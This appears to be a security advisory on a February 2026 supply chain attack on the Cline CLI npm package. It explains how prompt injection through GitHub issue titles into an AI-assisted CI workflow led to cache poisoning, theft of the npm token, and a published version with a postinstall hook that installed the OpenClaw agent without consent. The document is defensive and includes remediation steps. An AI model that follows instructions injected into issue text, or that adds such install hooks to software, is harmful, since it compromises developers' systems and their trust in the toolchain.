Cline CLI Supply Chain Attack Installs Unauthorized

Popular AI Coding Assistant Compromised

On February 17, 2026, the open-source AI coding assistant Cline CLI was compromised in a software supply chain attack that silently installed OpenClaw, a self-hosted autonomous AI agent, on developer systems. The attack exploited a compromised npm publish token to push a malicious version (2.3.0) to the npm registry, affecting approximately 4,000 downloads during an eight-hour window before the package was deprecated and replaced.

Cline is a widely-used, open-source AI coding assistant that integrates with VS Code and JetBrains IDEs. The VS Code extension and JetBrains plugin were not affected — only the npm CLI package was compromised.

Incident Details

How the Attack Worked

The Clinejection Vulnerability

Security researcher Adnan Khan identified the root cause as a workflow misconfiguration in Cline's GitHub Actions CI/CD pipeline, dubbed "Clinejection":

1. Excessive AI permissions — Claude (the AI assistant used in Cline's CI) received broad tool access within the default branch workflow
2. Prompt injection via issue titles — GitHub issue titles could inject arbitrary commands into the AI-assisted workflow
3. Cache poisoning — The attacker filled the GitHub Actions build cache with 10GB+ of junk data, triggering Least Recently Used (LRU) eviction of legitimate cache entries
4. Nightly publish workflow hijack — Poisoned cache entries replaced legitimate build artifacts in the nightly npm publish workflow
5. Credential theft — The attacker obtained the production npm publish token from the compromised workflow environment

The Malicious Payload

The published cline@2.3.0 package contained a single modification to package.json:

{
  "scripts": {
    "postinstall": "npm install -g openclaw@latest"
  }
}

When developers installed Cline 2.3.0 via npm install -g cline, the postinstall hook automatically executed and installed OpenClaw globally on their system. No other package files were modified — the Cline code itself remained unaltered.

What Is OpenClaw?

OpenClaw is a self-hosted autonomous AI agent that gained significant popularity in early 2026. While OpenClaw itself is not inherently malicious and does not auto-start its daemon process, the unauthorized installation raises serious concerns:

• Software installed without user consent on developer systems
• Potential for future remote activation or configuration changes
• Trust violation in the developer toolchain
• CI/CD systems may have been affected, introducing OpenClaw into build pipelines

Impact Assessment

Timeline

Remediation Steps

For Developers Who Installed Cline 2.3.0

1. Check for OpenClaw: Run which openclaw or openclaw --version to detect presence
2. Remove OpenClaw: Run npm uninstall -g openclaw if installed without your consent
3. Update Cline: Upgrade to version 2.4.0 or later
4. Audit npm global packages: Run npm list -g --depth=0 to check for other unexpected packages
5. Check CI/CD systems: Review build logs for any npm install runs between Feb 17, 3:26–11:30 AM PT

For Security Teams

1. Scan developer workstations for OpenClaw installations
2. Audit npm tokens and rotate any tokens used in CI/CD pipelines
3. Review GitHub Actions workflows for excessive permissions or prompt injection vectors
4. Implement npm provenance verification using npm audit signatures
5. Pin package versions in production package-lock.json files to prevent automatic updates
6. Monitor for postinstall scripts — Consider using --ignore-scripts flag in CI/CD environments

Lessons for AI-Powered Development

This incident highlights a growing risk as AI tools become deeply integrated into the software development lifecycle:

• AI agents in CI/CD need strict permission boundaries — Claude's broad tool access in the Cline workflow enabled the cache poisoning attack
• Prompt injection is a CI/CD attack vector — GitHub issue titles injecting commands into AI workflows is a novel and underappreciated threat
• npm publish tokens remain high-value targets — The token-to-global-install attack chain is well-established but still effective
• OIDC-based publishing is more secure — Cline has since migrated to OIDC tokens via GitHub Actions, eliminating long-lived credentials

Key Takeaways

1. Cline CLI 2.3.0 was compromised via a stolen npm publish token to install OpenClaw without consent
2. ~4,000 developers affected during an 8-hour exposure window on February 17, 2026
3. Root cause was "Clinejection" — A GitHub Actions workflow allowed prompt injection via issue titles, leading to cache poisoning and credential theft
4. OpenClaw is not malware — The unauthorized AI agent does not auto-start, and overall impact is considered low
5. VS Code extension and JetBrains plugin were NOT affected — Only the npm CLI package was compromised
6. Update to Cline 2.4.0 and remove any unauthorized OpenClaw installations immediately

Sources

• The Hacker News — Cline CLI 2.3.0 Supply Chain Attack Installed OpenClaw on Developer Systems
• The Register — AI Coding Assistant Cline Compromised, Installs OpenClaw
• Rescana — Cline CLI 2.3.0 Supply Chain Attack: OpenClaw Unauthorized Installation